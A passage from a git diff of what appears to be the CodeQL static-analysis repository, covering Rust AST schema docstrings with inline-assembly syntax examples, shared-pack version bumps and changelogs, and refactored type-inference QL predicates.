asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmRegSpec) +class _: + """ + A register specification in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + // ^^^ ^^^ + ``` + """ + + +@annotate(AsmClobberAbi) +class _: + """ + A clobbered ABI in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("", clobber_abi("C")); + // ^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmConst) +class _: + """ + A constant operand in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("mov eax, {const}", const 42); + // ^^^^^^^ + ``` + """ + + +@annotate(AsmLabel) +class _: + """ + A label in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!( + "jmp {}", + label { println!("Jumped from asm!"); } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ); + ``` + """ + + +@annotate(AsmOperandNamed) +class _: + """ + A named operand in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmOptionsList) +class _: + """ + A list of options in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmRegOperand) +class _: + """ + A register operand in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ + ``` + """ + + +@annotate(AsmSym) +class _: + """ + A symbol operand in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("call {sym}", sym = sym my_function); + // ^^^^^^^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(UseBoundGenericArgs) +class _: + """ + A use<..> bound to control which generic parameters are captured by an impl Trait return type. + + For example: + ```rust + pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + // ^^^^^^^^ + ``` + """ + + +@annotate(ParenthesizedArgList) +class _: + """ + A parenthesized argument list as used in function traits. + + For example: + ```rust + fn call_with_42(f: F) -> i32 + where + F: Fn(i32, String) -> i32, + // ^^^^^^^^^^^ + { + f(42, "Don't panic".to_string()) + } + ``` + """ diff --git a/rust/schema/prelude.py b/rust/schema/prelude.py index 6d356567d22..62334b2d864 100644 --- a/rust/schema/prelude.py +++ b/rust/schema/prelude.py @@ -73,6 +73,7 @@ class Callable(AstNode): """ param_list: optional["ParamList"] | child attrs: list["Attr"] | child + params: list["Param"] | synth class Addressable(AstNode): diff --git a/rust/tools/builtins/await.rs b/rust/tools/builtins/await.rs new file mode 100644 index 00000000000..c15af9dc529 --- /dev/null +++ b/rust/tools/builtins/await.rs @@ -0,0 +1,7 @@ +use std::future::Future; + +fn await_type_matching>(x: T2) -> T1 { + panic!( + "This function exists only in order to implement type inference for `.await` expressions." + ); +} diff --git a/shared/controlflow/CHANGELOG.md b/shared/controlflow/CHANGELOG.md index 1aab9a2eeba..a9641b2d087 100644 --- a/shared/controlflow/CHANGELOG.md +++ b/shared/controlflow/CHANGELOG.md @@ -1,3 +1,11 @@ +## 2.0.9 + +No user-facing changes. + +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/controlflow/change-notes/released/2.0.8.md b/shared/controlflow/change-notes/released/2.0.8.md new file mode 100644 index 00000000000..4d6867c721b --- /dev/null +++ b/shared/controlflow/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/controlflow/change-notes/released/2.0.9.md b/shared/controlflow/change-notes/released/2.0.9.md new file mode 100644 index 00000000000..b89eb98bbd9 --- /dev/null +++ b/shared/controlflow/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/controlflow/codeql-pack.release.yml b/shared/controlflow/codeql-pack.release.yml index 08d5e959449..ce305265e33 100644 --- a/shared/controlflow/codeql-pack.release.yml +++ b/shared/controlflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.9 diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 83f9b6f67a4..6325acc4c5b 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.8-dev +version: 2.0.10-dev groups: shared library: true dependencies: diff --git a/shared/dataflow/CHANGELOG.md b/shared/dataflow/CHANGELOG.md index 36d289f7f04..10cb758f6ea 100644 --- a/shared/dataflow/CHANGELOG.md +++ b/shared/dataflow/CHANGELOG.md @@ -1,3 +1,11 @@ +## 2.0.9 + +No user-facing changes. + +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/dataflow/change-notes/released/2.0.8.md b/shared/dataflow/change-notes/released/2.0.8.md new file mode 100644 index 00000000000..4d6867c721b --- /dev/null +++ b/shared/dataflow/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/dataflow/change-notes/released/2.0.9.md b/shared/dataflow/change-notes/released/2.0.9.md new file mode 100644 index 00000000000..b89eb98bbd9 --- /dev/null +++ b/shared/dataflow/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/dataflow/codeql-pack.release.yml b/shared/dataflow/codeql-pack.release.yml index 08d5e959449..ce305265e33 100644 --- a/shared/dataflow/codeql-pack.release.yml +++ b/shared/dataflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.9 diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 3c70d1d8c2d..1e1736c81f6 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.8-dev +version: 2.0.10-dev groups: shared library: true dependencies: diff --git a/shared/mad/CHANGELOG.md b/shared/mad/CHANGELOG.md index 5efa3ce9aec..ac6be6596f7 100644 --- a/shared/mad/CHANGELOG.md +++ b/shared/mad/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/mad/change-notes/released/1.0.24.md b/shared/mad/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/mad/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/mad/change-notes/released/1.0.25.md b/shared/mad/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/mad/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/mad/codeql-pack.release.yml b/shared/mad/codeql-pack.release.yml index 0f96ba41d16..a5a44030e85 100644 --- a/shared/mad/codeql-pack.release.yml +++ b/shared/mad/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index 8cbab3cbcd6..0e8adfc89c2 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.24-dev +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/quantum/CHANGELOG.md b/shared/quantum/CHANGELOG.md index 59b60bad0f3..d7831747b12 100644 --- a/shared/quantum/CHANGELOG.md +++ b/shared/quantum/CHANGELOG.md @@ -1,3 +1,11 @@ +## 0.0.3 + +No user-facing changes. + +## 0.0.2 + +No user-facing changes. + ## 0.0.1 No user-facing changes. diff --git a/shared/quantum/change-notes/released/0.0.2.md b/shared/quantum/change-notes/released/0.0.2.md new file mode 100644 index 00000000000..5ab250998ed --- /dev/null +++ b/shared/quantum/change-notes/released/0.0.2.md @@ -0,0 +1,3 @@ +## 0.0.2 + +No user-facing changes. diff --git a/shared/quantum/change-notes/released/0.0.3.md b/shared/quantum/change-notes/released/0.0.3.md new file mode 100644 index 00000000000..af7864fc7d5 --- /dev/null +++ b/shared/quantum/change-notes/released/0.0.3.md @@ -0,0 +1,3 @@ +## 0.0.3 + +No user-facing changes. diff --git a/shared/quantum/codeql-pack.release.yml b/shared/quantum/codeql-pack.release.yml index c6933410b71..a24b693d1e7 100644 --- a/shared/quantum/codeql-pack.release.yml +++ b/shared/quantum/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.1 +lastReleaseVersion: 0.0.3 diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index 4abda024832..d3b36828ade 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.2-dev +version: 0.0.4-dev groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/CHANGELOG.md b/shared/rangeanalysis/CHANGELOG.md index 75bb80c6db7..c06e99c5f7f 100644 --- a/shared/rangeanalysis/CHANGELOG.md +++ b/shared/rangeanalysis/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/rangeanalysis/change-notes/released/1.0.24.md b/shared/rangeanalysis/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/rangeanalysis/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/rangeanalysis/change-notes/released/1.0.25.md b/shared/rangeanalysis/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/rangeanalysis/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/rangeanalysis/codeql-pack.release.yml b/shared/rangeanalysis/codeql-pack.release.yml index 0f96ba41d16..a5a44030e85 100644 --- a/shared/rangeanalysis/codeql-pack.release.yml +++ b/shared/rangeanalysis/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index d551bb79db4..059cf59c2bf 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.24-dev +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/regex/CHANGELOG.md b/shared/regex/CHANGELOG.md index 59bbd8cf93b..1a63aa6e43a 100644 --- a/shared/regex/CHANGELOG.md +++ b/shared/regex/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/regex/change-notes/released/1.0.24.md b/shared/regex/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/regex/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/regex/change-notes/released/1.0.25.md b/shared/regex/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/regex/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/regex/codeql-pack.release.yml b/shared/regex/codeql-pack.release.yml index 0f96ba41d16..a5a44030e85 100644 --- a/shared/regex/codeql-pack.release.yml +++ b/shared/regex/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 41c9b1ba043..a98c2f6003b 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.24-dev +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/ssa/CHANGELOG.md b/shared/ssa/CHANGELOG.md index 509445eb6b1..fff1d5b89e2 100644 --- a/shared/ssa/CHANGELOG.md +++ b/shared/ssa/CHANGELOG.md @@ -1,3 +1,13 @@ +## 2.0.1 + +No user-facing changes. + +## 2.0.0 + +### Breaking Changes + +* Adjusted the Guards interface in the SSA data flow integration to distinguish `hasBranchEdge` from `controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. + ## 1.1.2 No user-facing changes. diff --git a/shared/ssa/change-notes/2025-05-23-guards-interface.md b/shared/ssa/change-notes/released/2.0.0.md similarity index 87% rename from shared/ssa/change-notes/2025-05-23-guards-interface.md rename to shared/ssa/change-notes/released/2.0.0.md index cc8d76372f6..39ac6d68707 100644 --- a/shared/ssa/change-notes/2025-05-23-guards-interface.md +++ b/shared/ssa/change-notes/released/2.0.0.md @@ -1,4 +1,5 @@ ---- -category: breaking ---- +## 2.0.0 + +### Breaking Changes + * Adjusted the Guards interface in the SSA data flow integration to distinguish `hasBranchEdge` from `controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. diff --git a/shared/ssa/change-notes/released/2.0.1.md b/shared/ssa/change-notes/released/2.0.1.md new file mode 100644 index 00000000000..b5b6d0dee91 --- /dev/null +++ b/shared/ssa/change-notes/released/2.0.1.md @@ -0,0 +1,3 @@ +## 2.0.1 + +No user-facing changes. diff --git a/shared/ssa/codeql-pack.release.yml b/shared/ssa/codeql-pack.release.yml index 53ab127707f..fe974a4dbf3 100644 --- a/shared/ssa/codeql-pack.release.yml +++ b/shared/ssa/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.2 +lastReleaseVersion: 2.0.1 diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index fe5fa023a96..4c73efe3912 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 1.1.3-dev +version: 2.0.2-dev groups: shared library: true dependencies: diff --git a/shared/threat-models/CHANGELOG.md b/shared/threat-models/CHANGELOG.md index c3254e1caad..3fa1fa4c69b 100644 --- a/shared/threat-models/CHANGELOG.md +++ b/shared/threat-models/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/threat-models/change-notes/released/1.0.24.md b/shared/threat-models/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/threat-models/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/threat-models/change-notes/released/1.0.25.md b/shared/threat-models/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/threat-models/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/threat-models/codeql-pack.release.yml b/shared/threat-models/codeql-pack.release.yml index 0f96ba41d16..a5a44030e85 100644 --- a/shared/threat-models/codeql-pack.release.yml +++ b/shared/threat-models/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index a86c29ceba3..fda94a8f4ff 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.24-dev +version: 1.0.26-dev library: true groups: shared dataExtensions: diff --git a/shared/tutorial/CHANGELOG.md b/shared/tutorial/CHANGELOG.md index 247d9be86a5..a5290f62bb3 100644 --- a/shared/tutorial/CHANGELOG.md +++ b/shared/tutorial/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/tutorial/change-notes/released/1.0.24.md b/shared/tutorial/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/tutorial/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/tutorial/change-notes/released/1.0.25.md b/shared/tutorial/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/tutorial/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/tutorial/codeql-pack.release.yml b/shared/tutorial/codeql-pack.release.yml index 0f96ba41d16..a5a44030e85 100644 --- a/shared/tutorial/codeql-pack.release.yml +++ b/shared/tutorial/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index a0aa1a8b3ae..2ecf5730d21 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.24-dev +version: 1.0.26-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/CHANGELOG.md b/shared/typeflow/CHANGELOG.md index cad6ded5224..2283f741ca7 100644 --- a/shared/typeflow/CHANGELOG.md +++ b/shared/typeflow/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/typeflow/change-notes/released/1.0.24.md b/shared/typeflow/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/typeflow/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/typeflow/change-notes/released/1.0.25.md b/shared/typeflow/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/typeflow/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/typeflow/codeql-pack.release.yml b/shared/typeflow/codeql-pack.release.yml index 0f96ba41d16..a5a44030e85 100644 --- a/shared/typeflow/codeql-pack.release.yml +++ b/shared/typeflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index 123e7a98891..119a36067be 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.24-dev +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/typeinference/CHANGELOG.md b/shared/typeinference/CHANGELOG.md index 4ffbff1e0c4..ad2e63eb470 100644 --- a/shared/typeinference/CHANGELOG.md +++ b/shared/typeinference/CHANGELOG.md @@ -1,3 +1,11 @@ +## 0.0.6 + +No user-facing changes. + +## 0.0.5 + +No user-facing changes. + ## 0.0.4 No user-facing changes. diff --git a/shared/typeinference/change-notes/released/0.0.5.md b/shared/typeinference/change-notes/released/0.0.5.md new file mode 100644 index 00000000000..766ec2723b5 --- /dev/null +++ b/shared/typeinference/change-notes/released/0.0.5.md @@ -0,0 +1,3 @@ +## 0.0.5 + +No user-facing changes. diff --git a/shared/typeinference/change-notes/released/0.0.6.md b/shared/typeinference/change-notes/released/0.0.6.md new file mode 100644 index 00000000000..ccbce856079 --- /dev/null +++ b/shared/typeinference/change-notes/released/0.0.6.md @@ -0,0 +1,3 @@ +## 0.0.6 + +No user-facing changes. diff --git a/shared/typeinference/codeql-pack.release.yml b/shared/typeinference/codeql-pack.release.yml index ec411a674bc..cf398ce02aa 100644 --- a/shared/typeinference/codeql-pack.release.yml +++ b/shared/typeinference/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.4 +lastReleaseVersion: 0.0.6 diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index b0f5fc67300..b9948ffbd29 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -220,6 +220,10 @@ module Make1 Input1> { predicate isCons(TypeParameter tp, TypePath suffix) { suffix = this.stripPrefix(TypePath::singleton(tp)) } + + /** Gets the head of this path, if any. */ + bindingset[this] + TypeParameter getHead() { result = this.getTypeParameter(0) } } /** Provides predicates for constructing `TypePath`s. */ @@ -419,27 +423,23 @@ module Make1 Input1> { ) } - /** - * Holds if `app` is a possible instantiation of `tm` at `path`. That is - * the type at `path` in `tm` is either a type parameter or equal to the - * type at the same path in `app`. - */ - bindingset[app, abs, tm, path] - private predicate satisfiesConcreteTypeAt( - App app, TypeAbstraction abs, TypeMention tm, TypePath path + pragma[nomagic] + private Type resolveNthTypeAt( + App app, TypeAbstraction abs, TypeMention tm, int i, TypePath path ) { - exists(Type t | - tm.resolveTypeAt(path) = t and - if t = abs.getATypeParameter() then any() else app.getTypeAt(path) = t - ) + potentialInstantiationOf(app, abs, tm) and + path = getNthPath(tm, i) and + result = tm.resolveTypeAt(path) } pragma[nomagic] private predicate satisfiesConcreteTypesFromIndex( App app, TypeAbstraction abs, TypeMention tm, int i ) { - potentialInstantiationOf(app, abs, tm) and - satisfiesConcreteTypeAt(app, abs, tm, getNthPath(tm, i)) and + exists(Type t, TypePath path | + t = resolveNthTypeAt(app, abs, tm, i, path) and + if t = abs.getATypeParameter() then any() else app.getTypeAt(path) = t + ) and // Recurse unless we are at the first path if i = 0 then any() else satisfiesConcreteTypesFromIndex(app, abs, tm, i - 1) } @@ -463,24 +463,34 @@ module Make1 Input1> { * Gets the path to the `i`th occurrence of `tp` within `tm` per some * arbitrary order, if any. */ + pragma[nomagic] private TypePath getNthTypeParameterPath(TypeMention tm, TypeParameter tp, int i) { result = rank[i + 1](TypePath path | tp = tm.resolveTypeAt(path) and relevantTypeMention(tm) | path) } + pragma[nomagic] + private predicate typeParametersEqualFromIndexBase( + App app, TypeAbstraction abs, TypeMention tm, TypeParameter tp, TypePath path + ) { + path = getNthTypeParameterPath(tm, tp, 0) and + satisfiesConcreteTypes(app, abs, tm) and + // no need to compute this predicate if there is only one path + exists(getNthTypeParameterPath(tm, tp, 1)) + } + pragma[nomagic] private predicate typeParametersEqualFromIndex( App app, TypeAbstraction abs, TypeMention tm, TypeParameter tp, Type t, int i ) { - satisfiesConcreteTypes(app, abs, tm) and exists(TypePath path | - path = getNthTypeParameterPath(tm, tp, i) and t = app.getTypeAt(path) and if i = 0 - then - // no need to compute this predicate if there is only one path - exists(getNthTypeParameterPath(tm, tp, 1)) - else typeParametersEqualFromIndex(app, abs, tm, tp, t, i - 1) + then typeParametersEqualFromIndexBase(app, abs, tm, tp, path) + else ( + typeParametersEqualFromIndex(app, abs, tm, tp, t, i - 1) and + path = getNthTypeParameterPath(tm, tp, i) + ) ) } @@ -975,17 +985,18 @@ module Make1 Input1> { private module AccessConstraint { predicate relevantAccessConstraint( - Access a, AccessPosition apos, TypePath path, Type constraint + Access a, Declaration target, AccessPosition apos, TypePath path, Type constraint ) { exists(DeclarationPosition dpos | accessDeclarationPositionMatch(apos, dpos) and - typeParameterConstraintHasTypeParameter(a.getTarget(), dpos, path, _, constraint, _, _) + target = a.getTarget() and + typeParameterConstraintHasTypeParameter(target, dpos, path, _, constraint, _, _) ) } private newtype TRelevantAccess = - MkRelevantAccess(Access a, AccessPosition apos, TypePath path) { - relevantAccessConstraint(a, apos, path, _) + MkRelevantAccess(Access a, Declaration target, AccessPosition apos, TypePath path) { + relevantAccessConstraint(a, target, apos, path, _) } /** @@ -994,19 +1005,20 @@ module Make1 Input1> { */ private class RelevantAccess extends MkRelevantAccess { Access a; + Declaration target; AccessPosition apos; TypePath path; - RelevantAccess() { this = MkRelevantAccess(a, apos, path) } + RelevantAccess() { this = MkRelevantAccess(a, target, apos, path) } Type getTypeAt(TypePath suffix) { - a.getInferredType(apos, path.appendInverse(suffix)) = result + adjustedAccessType(a, apos, target, path.appendInverse(suffix), result) } /** Holds if this relevant access has the type `type` and should satisfy `constraint`. */ predicate hasTypeConstraint(Type type, Type constraint) { - type = a.getInferredType(apos, path) and - relevantAccessConstraint(a, apos, path, constraint) + adjustedAccessType(a, apos, target, path, type) and + relevantAccessConstraint(a, target, apos, path, constraint) } string toString() { @@ -1036,6 +1048,7 @@ module Make1 Input1> { /** * Holds if `at` satisfies `constraint` through `abs`, `sub`, and `constraintMention`. */ + pragma[nomagic] private predicate hasConstraintMention( RelevantAccess at, TypeAbstraction abs, TypeMention sub, Type constraint, TypeMention constraintMention @@ -1059,6 +1072,30 @@ module Make1 Input1> { ) } + pragma[nomagic] + predicate satisfiesConstraintTypeMention0( + RelevantAccess at, Access a, AccessPosition apos, TypePath prefix, Type constraint, + TypeAbstraction abs, TypeMention sub, TypePath path, Type t + ) { + exists(TypeMention constraintMention | + at = MkRelevantAccess(a, _, apos, prefix) and + hasConstraintMention(at, abs, sub, constraint, constraintMention) and + conditionSatisfiesConstraintTypeAt(abs, sub, constraintMention, path, t) + ) + } + + pragma[nomagic] + predicate satisfiesConstraintTypeMention1( + RelevantAccess at, Access a, AccessPosition apos, TypePath prefix, Type constraint, + TypePath path, TypePath pathToTypeParamInSub + ) { + exists(TypeAbstraction abs, TypeMention sub, TypeParameter tp | + satisfiesConstraintTypeMention0(at, a, apos, prefix, constraint, abs, sub, path, tp) and + tp = abs.getATypeParameter() and + sub.resolveTypeAt(pathToTypeParamInSub) = tp + ) + } + /** * Holds if the type at `a`, `apos`, and `path` satisfies the constraint * `constraint` with the type `t` at `path`. @@ -1067,22 +1104,18 @@ module Make1 Input1> { predicate satisfiesConstraintTypeMention( Access a, AccessPosition apos, TypePath prefix, Type constraint, TypePath path, Type t ) { + exists(TypeAbstraction abs | + satisfiesConstraintTypeMention0(_, a, apos, prefix, constraint, abs, _, path, t) and + not t = abs.getATypeParameter() + ) + or exists( - RelevantAccess at, TypeAbstraction abs, TypeMention sub, Type t0, TypePath prefix0, - TypeMention constraintMention + RelevantAccess at, TypePath prefix0, TypePath pathToTypeParamInSub, TypePath suffix | - at = MkRelevantAccess(a, apos, prefix) and - hasConstraintMention(at, abs, sub, constraint, constraintMention) and - conditionSatisfiesConstraintTypeAt(abs, sub, constraintMention, prefix0, t0) - | - not t0 = abs.getATypeParameter() and t = t0 and path = prefix0 - or - t0 = abs.getATypeParameter() and - exists(TypePath path3, TypePath suffix | - sub.resolveTypeAt(path3) = t0 and - at.getTypeAt(path3.appendInverse(suffix)) = t and - path = prefix0.append(suffix) - ) + satisfiesConstraintTypeMention1(at, a, apos, prefix, constraint, prefix0, + pathToTypeParamInSub) and + at.getTypeAt(pathToTypeParamInSub.appendInverse(suffix)) = t and + path = prefix0.append(suffix) ) } } @@ -1110,7 +1143,7 @@ module Make1 Input1> { Declaration decl, DeclarationPosition dpos, Type base, TypePath path, TypeParameter tp ) { tp = decl.getDeclaredType(dpos, path) and - path.isCons(base.getATypeParameter(), _) + base.getATypeParameter() = path.getHead() } /** @@ -1285,14 +1318,14 @@ module Make1 Input1> { exists(DeclarationPosition dpos | accessDeclarationPositionMatch(apos, dpos) | // A suffix of `path` leads to a type parameter in the target exists(Declaration target, TypePath prefix, TypeParameter tp, TypePath suffix | - tp = target.getDeclaredType(pragma[only_bind_into](dpos), prefix) and + tp = target.getDeclaredType(dpos, prefix) and path = prefix.append(suffix) and typeMatch(a, target, suffix, result, tp) ) or // `path` corresponds directly to a concrete type in the declaration exists(Declaration target | - result = target.getDeclaredType(pragma[only_bind_into](dpos), path) and + result = target.getDeclaredType(dpos, path) and target = a.getTarget() and not result instanceof TypeParameter ) diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index bbfe2ad6615..32fd6de02e8 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.5-dev +version: 0.0.7-dev groups: shared library: true dependencies: diff --git a/shared/typetracking/CHANGELOG.md b/shared/typetracking/CHANGELOG.md index 16294923597..6e434da1f77 100644 --- a/shared/typetracking/CHANGELOG.md +++ b/shared/typetracking/CHANGELOG.md @@ -1,3 +1,11 @@ +## 2.0.9 + +No user-facing changes. + +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/typetracking/change-notes/released/2.0.8.md b/shared/typetracking/change-notes/released/2.0.8.md new file mode 100644 index 00000000000..4d6867c721b --- /dev/null +++ b/shared/typetracking/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/typetracking/change-notes/released/2.0.9.md b/shared/typetracking/change-notes/released/2.0.9.md new file mode 100644 index 00000000000..b89eb98bbd9 --- /dev/null +++ b/shared/typetracking/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git 